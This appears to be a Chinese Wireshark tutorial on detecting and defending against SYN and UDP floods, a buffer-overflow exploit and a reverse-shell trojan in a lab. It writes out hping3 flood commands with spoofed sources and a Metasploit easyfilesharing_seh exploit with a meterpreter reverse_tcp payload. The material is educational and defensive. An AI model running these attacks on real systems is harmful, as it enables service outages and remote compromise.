鉴于hping3的参数数目众多,我们可以参考这个工具的帮助文件,参看帮助的方法是在终端中启动输入“hping3——help”,因为这个帮助较长,所以我们这里只讲述与TCP协议相关的部分。

下面给出了hping3中关于TCP和UDP部分的帮助:

  • -s——baseport base source port (default random) //缺省随机源端口
  • -p——destport[+][+]<port>destination port(default 0) ctrl+z inc/dec//缺省随机源端口
  • -k——keep keep still source port//保持源端口
  • -w——win winsize (default 64)//win的滑动窗口。windows发送字节(默认64)
  • -O——tcpoff set fake tcp data offset (instead of tcphdrlen/4)//设置伪造tcp数据偏移量(取代tcp地址长度除以4)
  • -Q——seqnum shows only tcp sequence number//仅显示tcp序列号
  • -b——badcksum (尝试)发送具有错误IP校验和数据包。许多系统将修复发送数据包的IP校验和。所以你会得到错误UDP/TCP校验和。
  • -M——setseq设置TCP序列号
  • -L——setack设置TCP的ack————————————(不是TCP的ACK标志位)
  • -F——fin set FIN flag
  • -S——syn set SYN flag
  • -R——rst set RST flag
  • -P——push set PUSH flag
  • -A——ack set ACK flag————————————(设置TCP的ACK标志位)
  • -U——urg set URG flag//一大堆IP包头的设置
  • -X——xmas set X unused flag (0x40)
  • -Y——ymas set Y unused flag (0x80)
  • --tcpexitcode使用last tcp->th_flags作为退出码
  • --tcp-mss启用具有给定值的TCP MSS选项
  • --tcp-timestamp启用TCP时间戳选项来猜测HZ/uptime

这种攻击方式中,攻击方会向目标端口发送大量设置了SYN标志位的TCP数据包,受攻击的服务器会根据这些数据包建立连接,并将连接的信息存储在连接表中,而攻击方不断地发送SYN数据包,很快就会将连接表填满,此时受攻击的服务器就无法接收新来的连接请求了。

好了,现在我们就利用刚刚介绍过的hping3参数来构造一次基于TCP协议的拒绝服务攻击。在Kali Linux 2中打开一个终端,然后在终端中输入:

hping3 -q -n --rand-source -S -p 80 --flood 192.168.32.132

这时攻击就开始了,在这个过程中你可以随时使用Ctrl+C组合键来结束这次攻击。

3. Wireshark的流量图功能

我们将使用Wireshark将捕获到的数据包打开并进行分析。这个数据文件中捕获到的数据包跟前面提到的几种泛洪攻击有相同的地方,都是间隔时间短,发送数量大。

我们考虑使用Wireshark的另一个功能:流向图(flow graph)。

首先我们来查看这种来自同一个地址的SYN flooding攻击,使用Wireshark捕获这些伪造的请求。如果想要更好地了解网络中发生了什么,可以绘制出TCP端点之间的数据流,那一切就更直接明了。Wireshark中提供了一个TCP流向图,这是它的一个相当强大的功能。

现在我们可以看到网络中有大量来自1.1.1.1与服务器192.168.32.132之间的通信。我们来看看这一切在流向图中是如何显示的。

使用流向图的步骤如下所示:

(1)在Wireshark中打开刚刚捕获的数据包。

(2)单击菜单“统计”下的“流向图(flow graph)”菜单项,就会弹出Wireshark流向图。在这个Wireshark流向图中有若干选项可以使用,下面是这些选项的作用。

  • “显示过滤器的限制”单选框,Wireshark会根据抓包文件中经过显示过滤器过滤的数据包来生成流向图。
  • “流类型”下拉列表框,这里面包含“ALL Flows”“ICMP Flows”“ICMPv6 Flows”“TCP FLows”“UIM Flows”。其中的“ALL Flows”会针对抓包文件中的所有数据包或者经过显示过滤器过滤的数据包来生成总体的流向图。而“TCP FLows”针对抓包文件中的所有数据包或者所有经过显示过滤器过滤的数据包,来生成包含TCP标记、序列号、ACK号以及报文段长度的TCP流向图。

现在我们看到的就是将网络通信以流向图的方式展现出来,在下图中给出了1.1.1.1和192.168.32.132之间的所有通信。

我们可以看到图中1.1.1.1向192.168.32.132发送了大量的SYN请求,但是却没有任何的下一步行动。

不过如果攻击者在攻击时伪造了随机源地址,此时如果再使用流向图进行查看的话,同样可以看到大量的地址只向服务器发送了一个SYN请求。在流向图中可以看到两点,一是短时间出现了大量的数据包,二是这些数据包并没有后续,如下图所示。 

面向安全数据包分析_第48张图片

需要注意的是,如果攻击者伪造了大量的源地址,这种情况下在数据流图中显示的信息起来就会很难理解。尤其是因为里面出现的大量地址,导致这个图的横轴变得十分长。所以这种情况我们可以优先考虑使用前面统计功能中端点对话,如下图所示。 

面向安全数据包分析_第49张图片

在这个端点会话的IPv4标签中,可以看到大量的IP地址都只发送了一个数据包。在实际的网络通信中,这显然是不正常的。 
4. SYN flooding攻击解决方案

根据我们之前的分析可以看出来,这种攻击的特点就是会发送一个SYN数据包,之后就没有其他行为了。为此我们研究出如下的几种方案,当前防护SYN Flooding的手段主要有3种。

(1)丢弃第一个SYN数据包:这种方法最为简单,就是当服务器对收到SYN数据包的地址进行记录,丢弃从某个IP地址发来的第一个SYN数据包。因为攻击者在进行攻击的时候,往往只会发送一个SYN数据包之后就没有后续动作了,而如果这个IP地址真的希望和服务器建立连接的话,一定会再次发送SYN数据包过来。但是这样做的缺陷也很明显,由于每次都需要发送两次SYN数据包才能建立连接,从而导致用户的体验非常差。

(2)反向探测:这种方法就是向SYN数据包的源地址发送探测包,然后再根据源地址的反应来判断数据包的合法性。

(3)代理模式:就是把防火墙作为代理,然后由防火墙代替服务器和客户机建立连接。当双向连接建立成功之后,再进行数据的转发。这样一来就可以拦截企图要发起SYN Flooding攻击的客户机。

5. 在Wireshark中显示地理位置

拒绝服务攻击(DoS),这种攻击的发起端通常是一台设备。现在黑客设计了一种更高级的攻击方法:分布式拒绝服务攻击(Distributed Denial of Service,DDoS),这种攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。

相比起拒绝服务攻击来说,分布式拒绝服务攻击(DDoS)更加难以防御,这是因为发起攻击的源头往往来自于世界各地,下图是2016年10月21日美国Dyn公司遭受3波“分布式拒绝服务”攻击时的来源分布图。

这个图看起来是不是很酷?其实我们在Wireshark中也可以实现类似的功能,虽然默认版本中并不能显示数据包的来源地址和目的地址,但是这一点可以通过插件实现。

在Wireshark首选项中,我们可以对IP协议的一些功能进行调整。 

面向安全数据包分析_第50张图片

“Enable GeoIP Lookups”表示显示数据包的地理位置,这个功能其实是通过IP地址转换得来的。首先并不是所有的Wireshark版本都支持这个功能,我们可以在“帮助”→“关于Wireshark”中来查看其是否支持显示地址位置。

如果如下图所示包含了“with GeoIP”字段,就表示当前版本具备这个功能。 

2.6版本之后的Wireshark和之前的版本发生一定了变化,因此设置开始不同。但是IP地址和地理位置的对应关系仍然需要数据库文件的支持,目前maxmind公司提供了一个比较优秀的IP对应地理位置的数据库。

如图所示,你可以在maxmind网站下载一个免费的数据库。 

这个页面提供了binary和csv两种不同格式,这里面我们选择csv格式,并需要将3个数据库下载到本地并解压。

面向安全数据包分析_第51张图片

使用解压缩工具将这3个文件进行解压,之后会得到3个文件夹,每个文件夹中包含一个.mmdb类型的数据库文件。启动wireshark图形化界面,单击菜单栏上的“帮助”→“关于”,然后再选择“文件夹”(Folders)选项卡,找到如下图所示的Personal configuration文件夹。 

然后单击Personal configuration,点击这个链接将会打开一个目录,如图所示。 

如图所示,在这个目录中新创建一个名为GeoIPdb的文件夹。 

面向安全数据包分析_第52张图片

如图所示,将刚才下载并解压缩的3个文件复制到新建立的GeoIPdb文件夹中。 

如图所示,在Wireshark中依次单击“编辑”→“首选项”→“Name Resolution”,然后单击“GeoIP database directories”后面的“Eidt”按钮。 

在这个对话框中单击“+”按钮,然后在弹出的Windows文件对话框中选中IP对应地理位置的数据库所在的目录。 

面向安全数据包分析_第53张图片

现在我们选择一个数据包,然后打开其中的IP协议层,你将会看到多了一个解析信息,下图显示了数据包的来源地理地址和目的地理地址。 

面向安全数据包分析_第54张图片

总结:

TCP协议连接的建立过程,这个过程平时也称为3次握手,而SYN Flooding攻击这种攻击方式是建立在传输层的TCP协议上的,攻击就是向目标服务器发送大量的SYN握手请求。 

3、传输层洪水攻击(UDP Flooding)

UDP虽然与TCP一样位于传输层,UDP协议却不需要建立连接就可以传输数据,而且少了很多的控制机制,因而传输速度高于TCP协议,所以也得到了广泛的使用。

不过,UDP协议也面临着一个和TCP协议一样的威胁,那就是泛洪攻击。不过不同于TCP协议占用服务器连接数的方式,UDP协议因为不需要建立连接,所以攻击者将目标转向了带宽,他们构造大量体积巨大的UDP数据包并发往目标,从而导致目标网络的瘫痪。由于依赖UDP的应用层协议五花八门,差异极大,因此针对UDP Flooding的防护非常困难。

1. UDP Flooding的相关理论

1)UDP协议

UDP是一个设计极为简洁的协议,控制选项较少,因此在数据传输过程中延迟小、数据传输效率高,这也是当前最为热门的通信工具QQ选用了UDP作为传输层协议的重要原因。

下图给出了一个数据包在传输层使用UDP协议封装时所添加的内容,其中最为重要的信息就是应用程序使用的端口。

面向安全数据包分析_第55张图片

这里面添加的传输层的内容主要包括源端口、目的端口、长度和校验码4个部分。

  1. Source Port表示这个数据包的源端口,大小为2字节,当不需要对方回应时,可以全部为0。
  2. Destination Port表示目的端口号,大小为2字节。
  3. Length表示长度,大小为2字节,表示UDP报文的长度。
  4. Checksum表示校验码,接收方以此来判断传输中是否有错。

这里需要注意的是,通常两个互相通信的程序所使用的端口号往往是不同的。如果数据包的源主机是服务器,则所使用的源端口往往要遵循标准(例如,HTTP就使用80端口)。例如上图中就指出了这个数据包源端口是4025,访问的服务器目标端口为8000。 

2)UDP Flooding攻击

UDP是一个无连接的传输层协议,所以在数据传输过程,不需要建立连接和进行认证。攻击者只需要向目标发送大量巨大的UDP数据包,就会使目标所在的网络资源被耗尽。

UDP Flooding是一种传统的攻击方式,近年来黑客经过精心设计,又创造了新的攻击方法。就在2018年的2月28日,Memcache服务器被曝出存在UDP反射放大攻击漏洞。攻击者可利用这个漏洞来发起大规模的DDoS攻击,从而影响网络正常运行。

漏洞的形成原因为Memcache服务器的UDP协议支持的方式不安全,默认配置中将UDP端口暴露给外部链接。攻击者向端口11211上的Memcache服务器发送小字节请求,但UDP协议并未正确执行,因此Memcache服务器并未以类似或更小的数据包予以响应,而是以有时候比原始请求大数千倍的数据包予以响应。

由于数据包的原始IP地址能轻易被欺骗,也就是说攻击者能诱骗Memcache服务器将过大规模的响应数据包发送给另外一个IP地址即DDoS攻击的受害者的IP地址。这种类型的DDoS攻击被称为“反射型DDoS”或“反射DDoS”,响应数据包被放大的倍数被称为DDoS攻击的“放大系数”。

所有放大攻击背后的想法都是一样的。攻击者使用源IP欺骗的方法向有漏洞的UDP服务器发送伪造请求。UDP服务器不知道请求是伪造的,于是礼貌地准备响应。当成千上万的响应被传递给一个不知情的目标主机时,这个攻击问题就会发生。

2. 模拟UDP Flooding攻击

虽然传统的UDP Flooding已经很少在实际中遇到,但是这种攻击方式的原理值得研究,所以我们以这种攻击方式进行研究。

考虑到这次实验要消耗大量的系统资源,所以这个实验中我们不使用ENSP。在这次试验中我们需要使用两个虚拟机,一个是Kali Linux 2,另一个是Windows 2003。即便如此,在使用虚拟设备时,由于产生的数据包数量众多,而且十分巨大,Wireshark也经常会出现假死状态。

这次我们采用Kali Linux 2中自带的Hping3来进行一次拒绝服务攻击。现在我们就利用刚刚介绍过的hping3参数来构造一次基于UDP协议的拒绝服务攻击,在Kali Linux 2中打开一个终端,然后在终端中输入:

hping3 -q -n -a 10.0.0.1 --udp -s 53 -p 68 --flood 192.168.1.102 -d 1000

现在攻击就开始了,在这个过程中可以随时使用Ctrl+C组合键来结束,在攻击的同时我们使用Wireshark捕获这个过程产生的数据包。

3. Wireshark中的绘图功能

我们将使用Wireshark将捕获到的数据包打开并进行分析,这个数据文件中捕获到的数据包,如下图。

跟前面的几种泛洪攻击有相同的地方,都是间隔时间短,发送数量大。所以我们也可以使用前面的统计功能来分析这个攻击。

在这个文件中,攻击者只将自己的地址伪装成1.1.1.1,因而我们能很容易地找出攻击的数据包。但是这里面有一点需要注意的是,这些攻击的数据包除了使用UDP协议之外,还在应用层使用DNS协议。这是为什么呢?

我们可以在数据包列表面板中点击一个数据包,查看里面的详细信息,如下图。

点击打开数据包之后,我们现在可以看到这个数据包的UDP协议的头部分显示了这个数据包的源端口为53,目的端口为68。值得注意的是,在这个数据包中的DNS部分包含了大量的数据,这里面的Queries里面本来是用来实现域名查询的,但是这里面显示的信息却是没有任何意义的。

我们在下图中的数据包细节面板中再查看一下详细信息:

面向安全数据包分析_第56张图片

从图中我们看到每个数据包的数据部分都是大量的“58”,攻击者这样做的目的是什么呢?

现在我们使用Wireshark中提供的绘图功能来直观地查看这些数据包对网络造成了什么影响。

Wireshark中提供的绘图功能可以用更直观的形式展示数据包的数量。我们利用菜单栏上的“统计(statistics)”→“IO图表(IO graph)”选项来生成一个图表,打开的“IO图表”对话框如下图所示。 

面向安全数据包分析_第57张图片

这个图形的横轴表示时间,现在纵轴表示的是所有的数据包。我们可以重新定义纵轴的值,例如我们来创建一个显示UDP和TCP重传数据包数量的图形。显示数据包需要使用到系列,首先添加UDP系列,纵轴的值表示在某一时间点捕获到的UDP数据包的数量。 

(1)选中当前图标中所有分组,然后单击左下方的“−”,删除掉原有的系列,如下图所示。

(2)如下图所示,单击左下角“+”,就可以添加一个新的系列,添加的过程如下。 

面向安全数据包分析_第58张图片

(3)在“Graph Name”名称处为序列添加一个名字“UDP”。

(4)在“Display Filter”显示过滤器中添加一个符合过滤器规则的字符串,本例中是“udp”。

(5)如下图所示,在“Color”处为生成折线选择颜色,这里我们选择红色。 

(6)在“Style”选择样式,我们默认使用Line,Wireshark中支持的绘图形式如图所示。 

这里面样式的含义如下所示:

  • line:折线图。
  • Impulse:脉冲图。
  • bar:柱形图。
  • stacked bar:堆积柱形图。 
  • dot:点图。
  • square:方块图。
  • diamond:钻石图。

其实dot、square、diamond的表现形式几乎是相同的,只不过表示数据点的时候,dot用的是圆点,square用的是方块,而diamond用的菱形。

(7)选择序列的意义。例如“Packets”是表示数据包的数量,Bytes和Bits分别使用字节和位来表示捕获到数据包的数量。另外这里面还有其他几个函数,分别是sum()、count()、max()、min()和avg(),这些函数需要和后面的y字段一起才能起作用,如下图所示。

面向安全数据包分析_第59张图片

  • SUM( ):这是一个实现求和的函数。
  • count( ):用来表示在时间间隔内出现的次数。
  • MIN( ):用来表示在时间间隔内出现的最小值。
  • AVG( ):用来表示在时间间隔内出现的平均值。
  • MAX( ):用来表示在时间间隔内出现的最大值。

这里面我们选择“Bytes”,也就是产生数据包的大小。

(8)选择时间间隔,这个值也是横轴的刻度,如图所示。 

面向安全数据包分析_第60张图片

(9)如图所示,当要在这个图形中显示这个序列时,可以选中名称列前面的多选框“Enabled”。 

(10)这时可以观察到生成的图表如图所示。

(11)“Save as”可以将这个图形保存成各种常见格式的文件,例如pdf或者bmp等。

现在,在生成的图表中,我们直接就看到了这个从第10秒开始一直到第40秒的时候,网络中被占用的带宽迅速达到了高峰期,大概在第18秒的时候,达到了每秒4.8×10<sup>7</sup>Bytes,也就是480兆Bytes每秒。如果长时间保持这种情形的话,网络设备将无暇处理其他流量,并最终导致网络瘫痪。另外这种攻击也会导致依靠会话转发的网络设备性能降低甚至会话耗尽。 

4. 防御UDP Flooding攻击

目前,防火墙是防御UDP Flooding的主要设备,而它主要采用限流和指纹学习两种方式来实现防御。限流方式简单直接,就是设法将链路中的UDP报文控制在合理的带宽范围内。

通常的控制方式主要有以下几种:

  • 基于目的IP地址的限流,我们可以对去往“192.168.1.102”的UDP数据包进行统计并限流,如果超过了指定值,则将后来的UDP报文丢弃。

面向安全数据包分析_第61张图片

  • 基于目的安全区域的限流,即以某个安全区域作为统计对象,对到达这个安全区域的UDP流量进行统计并限流,超过部分丢弃。而安全区域(Security Zone),也称为区域(Zone),是一个逻辑概念,用于管理防火墙设备上安全需求相同的多个接口,也就是说它是一个或多个接口的集合。
  • 基于会话的限流,即对每条UDP会话上的报文速率进行统计,如果会话上的UDP报文速率达到了告警阈值,这条会话就会被锁定,后续命中这条会话的UDP报文都被丢弃。当这条会话连续3秒或者3秒以上没有流量时,防火墙会解锁该会话,后续命中该会话的报文可以继续通过。

除了这种简单粗暴的限流机制之外,在华为公司编写的《华为防火墙技术漫谈》中还提到了另一种更有建设性的思路:指纹学习。

指纹学习是通过分析UDP报文中的数据内容来判断它是否异常。防火墙首先会对发往某个服务器的UDP报文进行统计,当达到指定阈值时,就会开始进行指纹学习。如果这些报文携带的数据具有相同特征,就会被学习成指纹。后续的报文如果具有与此指纹相匹配的特征就会被当成攻击报文而丢弃。

例如,我们之前使用Hping3所构造的UDP Flooding报文,就都拥有相同的数据部分。随意打开任何一个UDP报文都可以看到如下图所示的内容。 

从这些数据包中,我们就可以将数据部分的这些连续的“58”作为指纹提取出来。相比起限流方式,这种方法更为完善。目前,指纹学习功能是针对UDPFlooding攻击的主流防御手段,在华为防火墙产品中得到了广泛应用。 

5. amCharts的图表功能

Wireshark中自带的图表功能虽然很强大,但是看起来并不美观,这里我们使用一个在线的工具amCharts来帮助生成美观的图表,这是一个十分专业的图表生成工具。如果你希望在测试报告中使用图表的话,那么amCharts是一个相当不错的选择。

这里我们使用另外一个数据文件“http&TCP”来生成图表,这个数据文件中包含HTTP和TCP重传类型的数据包。我们首先将在Wireshark中生成图表的数据导出,这个过程很简单,只需要在生成图表右下方的“复制”按钮,如下图所示。

面向安全数据包分析_第62张图片

使用这些数据在amCharts生成图表的过程如下所示。

(1)如图所示,访问在线网址live.amcharts.com,选择其中的“Make a Chart”。 

(2)选中要创建图表的类型,这里面我们选择线形图(Line),如下图所示。 

(3)下图给出图表的操作界面,这个界面一共分成左、中、右3个部分。 

面向安全数据包分析_第63张图片

(4)如下图所示,通过Delete column删除掉数据区域的所有数据。 

面向安全数据包分析_第64张图片

(5)全部删除之后,选中右侧的Import按钮,并将从Wireshark复制来的数据粘贴进去,单击“Import”。 

(6)在“Import Data”中选中“Finished”。

(7)依次选中“General Settings”→“Category field”,然后选中其中的“Interval start”。 

面向安全数据包分析_第65张图片

(8)接下来在左侧选中Graphs,然后选中其中的AmGraph-1,将其中的Title选项更改为HTTP。

(9)选中中间的“DATA FIELDS”,然后在移动到“Value Field”中选中HTTP,如图所示。 

面向安全数据包分析_第66张图片

(10)可以看到右侧显示了HTTP的图表,如图所示。 

面向安全数据包分析_第67张图片

(11)按照步骤8中的方法再选中AhGraph-2,然后将Title设置为“TCP Retransmissions”,然后选中中间的“DATA FIELDS”,然后再移动到“Value Field”中选中Retransmissions。

最后生成的图表如图所示:

(12)最后,你可以在Titles中Title-1的Text中修改图表的名称,原来为Chart Title,我们修改为HTTP&Retransmissions,如下图所示。 

你也可以根据自己的需求将这个图表设计得更加美观。 

四、应用层网络安全

前面介绍的攻击方式,但是它们都是基于网络协议的缺陷。而在实际情况中,除了这些内容之外,操作系统和应用程序的漏洞也是网络安全研究的重点。

缓冲区溢出是现在很典型的一种远程攻击方式,它利用了程序员在编写程序时的疏忽,从而实现了在远程设备上执行代码,这些攻击方式大都要通过应用层协议HTTP协议和HTTPS实现的。 

1、缓冲区溢出攻击的相关理论

缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出进行攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,攻击者可以利用它执行非授权指令,甚至可以取得系统特权,进而执行各种操作。

考虑到目前大量的应用程序都使用了B/S结构,而这种结构正是使用HTTP协议进行通信的,所以我们首先来了解一下HTTP协议的相关知识。

1. Wireshark观察下的HTTP协议

HTTP协议大概是与我们关系最为密切的应用层协议了。大多数人使用电脑的目的就是为了“上网”,而这个行为其实就是依靠HTTP协议才得以实现。简单来说,HTTP负责完成HTTP客户端与HTTP服务端的信息交流。例如当我们上淘宝购物的时候,淘宝网站就是HTTP服务端,而我们的设备就是HTTP客户端。

2. HTTP的请求与应答

HTTP数据的传输过程也并不复杂,当我们在浏览器(例如火狐)的地址栏中输入了一个地址并按下回车键之后,浏览器会向目标服务器发送一个请求,当服务器收到这个请求之后,就会将一个网页回传给我们的浏览器。

下图中给出了由Wireshark捕获到的请求和回应:

这里面的请求和回应都是遵循HTTP协议的,浏览器发送和接送的内容如下图所示。

面向安全数据包分析_第68张图片

图中给出的是将多个数据包组合之后的结果,这其实和我们平时所看到的内容相差不大了,上面方框的部分是请求,下面方框的部分是应答。

3. HTTP的常用方法

从Wireshark的角度来看其中的一个数据包,那么你看到的将会是如图所示的形式。

HTTP协议的内容比较多,包括Request method、host、User-agent等,这里面我们不一一介绍,只重点讲解其中比较常用的Request method。

这个字段常见的值有如下几个:

  • GET请求获取由Request-URI所标识的资源;
  • POST在Request-URI所标识的资源后附加新的数据;
  • PUT请求服务器存储一个资源,并用Request-URI作为其标识;
  • DELETE请求服务器删除由Request-URI所标识的资源。

例如我们上面例子中发出的请求就是使用的GET方法。

4. HTTP中常用的过滤器

如果需要在Wireshark中过滤掉除HTTP以外的数据包,可以使用下面的过滤器。

  • 捕获过滤器:port http。
  • 显示过滤器:http。

如果需要在Wireshark中根据方法来过滤数据包,可以使用下表所示的过滤器。 

这些过滤器在实际中很有用,例如当我们在监控网络中的流量时,查找包含敏感信息的数据包,如果一个表单中包含一些例如用户名、密码之类的信息,这些信息在提交的过程中,就会使用POST方式。

所以在分析网络安全方面的时候,我们可以检查在网络中传输的使用到POST方法的数据包,查看其中是否有敏感数据泄露,使用的过滤器为:

http.request.method=="POST"

例如,下图就显示了捕获到数据包中的敏感信息。 

面向安全数据包分析_第69张图片

2、模拟缓冲区溢出攻击

在这个实验中,我们以一个在国外很流行的文件共享软件Easy File Sharing Web Server 7.2作为实例,这个工具通过HTTP协议提供文件共享功能。这里有漏洞的应用程序是简单文件分享Web服务器7.2(Easy File Sharing Web Server 7.2),这个Web应用程序运行时的界面如图所示。

面向安全数据包分析_第70张图片

简单文件分享Web服务器7.2在处理请求时存在的漏洞,当接收到一个恶意的请求头部就可以引起缓冲区溢出,从而改写下一步要执行指令的地址。

下图给出了访问这个服务器的页面:

面向安全数据包分析_第71张图片

好了,现在我们已经了解了在这次试验中使用的两个虚拟机:一个是Kali Linux 2作为攻击发起端;另一个是Windows 7,它上面运行着简单文件分享Web服务器7.2,IP地址为192.168.169.133。 

那么我们现在就可以开始渗透测试了,首先启动Kali Linux 2中的metasploit,如下图。

面向安全数据包分析_第72张图片

首先我们先用Search命令来查找和Easy File Sharing有关的模块,命令如下:

msf>search EasyFileSharing

在metasploit中查找了两个对应的模块,如图所示。 

这里我们使用exploit/windows/http/easyfilesharing_seh这个模块,这个漏洞是2015年底发布的:

msf>use exploit/windows/http/easyfilesharing_seh

启动了这个模块之后,我们可以使用“show options”来查看这个模块的选项,如图所示。 

但是需要注意的是,这里只列出了模块所需要的参数,其实我们如果想要利用这个模块控制对方计算机的话,还需要设置一个攻击载荷,这里我们最为常用的是reverse_tcp:

msf exploit (easyfilesharing_seh)>set payload windows/meterpreter/reverse_tcp
msf exploit (easyfilesharing_seh)>set lhost 192.168.169.130
msf exploit (easyfilesharing_seh)>set rhost 192.168.169.131
msf exploit (easyfilesharing_seh)>set rport80
msf exploit (easyfilesharing_seh)>exploit

当这个模块执行之后,我们就会获得一个用来控制目标系统的session,如图所示。

面向安全数据包分析_第73张图片

从图中可以看到我们已经打开了一个session,也就是开启了对目标(192.168.169.131)的控制。而且我们现在获得了一个Meterpreter,利用它就可以完成对目标主机的远程控制。

在这个过程中,我们使用Wireshark捕获了所有的通信流量,并将其保存为easyfilesharing_seh.pacap。

3、使用Wireshark分析缓冲区溢出攻击

在Wireshark中观察easyfilesharing_seh.pacap文件,这个文件前面的数据包都是一些ARP数据包,没有发现异常。在第121个数据包时,192.168.32.129和192.168.32.132通过TCP 3次握手建立了连接。

但是接下来的4个HTTP数据包如下图,却明显出现了异常,这明显是一个HTTP请求的分片,但是这个请求的长度显然太长了。

注意,这个数据包的数据部分在Wireshark中显示为“truncated”,如下图,意为“截断”。

这很正常,因为它的长度为1332Bytes,这显然太长了,不可能放在同一行中。在Wireshark的窗口中这种包含攻击载荷的数据包被显示错误是非常正常的,因为攻击者恰恰就是利用构造一些畸形数据包来实现自己的目的。 

正常提交的数据不会有这样的长度,只有攻击者在试图进行缓冲区攻击时才会构造这种数据包。
现在我们来考虑一个问题,为什么服务器在处理正常请求数据包和畸形请求数据包时会有不同的结果呢?

这里我们假设这个服务器有栈溢出漏洞的话,那么当它收到请求数据包时,就会将数据包中的数据复制到缓冲区中,但是却不对数据的长度进行检查。所以,问题就出现了,当数据的长度大于缓冲区时,就会将多于缓冲区长度的数据复制到缓冲区外面。可是这个缓冲区的长度是多少呢?这个值很重要,因为攻击者如果希望能够实现远程代码的执行,就得使用一些没有实际意义的数据来填充这个缓冲区。

我们有这样3个方法获得这个数字:

  • 查询该漏洞的详细信息,以此来获得缓冲区的长度;
  • 使用WinDBG和IDA Pro对目标软件进行调试,计算出缓冲区的长度;
  • 在Wireshark中分析攻击载荷的内容,计算出缓冲区的长度。

最简单的方法是第一种,不过作为一个网络取证分析者来看,使用Wireshark来分析是一个很好的锻炼。那么我们可以按照第3种方式来尝试一下,首先在这几个数据包上面单击鼠标右键,然后选择“Follow”|“HTTP Stream”,得到如下图所示的数据流。

这里显示了完整的http请求,它是由几个部分所组成的,最开始的GET字符,然后是导致缓冲区溢出的字符(对于一个漏洞来说,这个值总是相同的),再是要执行的代码部分。

从第2行开始起,一直到“..”之间的部分都是实现缓冲区溢出的字符,我们将其复制出来,在任意一个可以统计字数的工具里面查看其字符数。

现在我们获得了以下的几个信息。

(1)这个数据包是以“GET”开始的。

(2)紧随在“GET”是4061个随机的大写字符。

(3)最后是以HTTP/1.0结束的。

根据这些信息,我们就可以将其添加到入侵检测系统的特征库中。以后每当网络中出现这种类型的数据包时,就会引发入侵检测系统的报警了。

有的朋友可能注意到了另一个问题,我们这次是通过数据包的大小找到的攻击数据包。有没有其他方法可以更简单直接地找到它们呢?显示过滤器显然是一种不错的选择,另外我们要再介绍一下Wireshark中的数据包查找功能,使用方法是在工具栏中单击放大镜的图标,就可以启动这个功能的操作窗口,如下图所示。 

现在我们就可以在Wireshark的显示过滤器下方看到查找功能窗口了:

这个查找功能中提供了4种选项,分别是:

  • Display filter;
  • Hex value;
  • string;
  • Regular Expression。 

 面向安全数据包分析_第74张图片

其中的Display filter其实就是之前提到过的显示过滤器,不过和之前不同的是,当你在搜索框中设置了条件之后,Wireshark会逐条地将符合条件的数据包以反白的形式显示出来,当你按下Find按钮就会跳到下一个符合结果的封包去。

例如我们在搜索框中输入“http”,就可以找到第一个http协议数据包,如下图。

第2种搜索的类型为Hex value,也就是十六进制值,例如我们在这里面查找包含“2f 31 2e 30”的数据包,就可以首先选中Hex value,在输入框中输入“2f 31 2e 30“,并按下Find,就可以逐项找到包含这个值的数据包。

面向安全数据包分析_第75张图片

第3种搜索的类型为String,这是一个很有用的方法。我们可以在数据包中查找字符串。当我们在这里选择了String之后,会发现原本为灰色不能用的3个功能现在也可以使用了,如下图所示。 

这3个功能中的第一个是指定搜索范围,这里面包含Packet list、Packet details及Packet bytes 3个选项。

选择不同的选项,Wireshark会在不同的位置进行搜索,如下图所示。 

面向安全数据包分析_第76张图片

如下图所示,中间的部分用来指定编码方式,其中Narrow表示UTF-8或者ASCII,而Wide表示UTF16,Narrow&Wide表示兼容以上所有编码,最后面的Case sentive表示是否区分大小写。

下面我们给出了搜索一个包含“GET”字段的数据包的过程:

面向安全数据包分析_第77张图片

最后一种类型为Regular Expression,这里可以使用正则表达式来查找符合条件的数据包。默认的搜索过程是向后的,我们可以使用组合键Ctrl+N 和Ctrl+B实现向前或者向后查找。

4、使用Wireshark检测远程控制

192.168.32.132是一台Web服务器,正常情况下这台服务器应该只等待来自其他设备的TCP请求,然后建立连接。

但是在第131、132、133位置的3个数据包却出现了一个奇怪的现象,IP地址为192.168.32.132的服务器竟然主动去连接另外一个计算机,并通过3次握手建立了连接,如下图所示。

服务器的这个行为很反常,我们初步判断它已经感染了木马,而且是一个反向木马。

远程控制软件被控端与主控端的连接方式。按照不同的连接方式,我们可以将远程控制软件分为正向和反向两种。

这里我们假设这样一个场景,一个黑客设法在受害者的计算机上执行远程控制软件服务端,那么我们把黑客现在所使用的计算机称为Hacker,而把受害者所使用的计算机称为A。如果黑客所使用的远程控制软件是正向的,那么计算机A在执行了这个远程控制服务端之后,只会在自己的主机上打开一个端口,然后等待Hacker计算机的连接。注意,此时A计算机并不会去主动通知Hacker计算机(而反向控制软件会),因此黑客必须知道计算机A的IP地址,这就导致正向控制在实际操作中具有很大的困难。

而反向远程控制则截然不同,当计算机A在执行了这个远程控制被控端之后,会主动去通知Hacker计算机,“嗨,我现在受你的控制了,请下命令吧!”因此黑客也无需知道计算机A的IP地址。现在黑客所使用的远程控制软件大都采用了反向控制。

我们猜测攻击者就是通过缓冲区溢出的攻击方式,将木马文件传送到服务器上并执行了。所以服务器才会在无人控制的情况下去反向连接192.168.32.129。

仅仅依靠TCP连接,攻击者还无法完全控制服务器,我们继续浏览下面的数据包,目标主机产生了大量使用4444端口的数据包。这时攻击者在向服务器发送了很多数据,那么他是在做什么呢?我们可以在其中的一个数据包上单击右键,然后选择“Follow”→“TCP Stream”。

如果你对PE文件格式有了解的话,看到“This program cannot be run in DOS mode”,如下图所示。

就会知道这是一个PE文件的头部,PE文件的全称是Portable Executable,意为可移植的可执行的文件,常见的微软Windows操作系统上的程序文件EXE、DLL、OCX、SYS、COM都是PE文件。显然攻击者在建立了和服务器的连接之后,将一个可执行文件上传到了服务器中。这个文件体积要远远大于之前那个通过漏洞传递的木马文件,显然攻击者希望使用一个功能更为强大的工具。

现在我们已经了解了攻击者的思路了,这里该考虑一下安全措施了,因为攻击者通过4444端口在和服务器进行通信,如下图所示。

最简单的做法就是在防火墙上设置一个策略,立刻在防火墙上对远程目的端口为4444的数据包进行丢弃。这样一来,攻击者就无法收到来自服务器所发出的数据包了,自然也就无从谈起远程控制了。

Wireshark中还提供了一个十分方便的功能,就是可以快速查询到防火墙的编写规则。在菜单中依次选中“tools”→“Firewall ACL Rules”,这里给出了一些常用的规则。

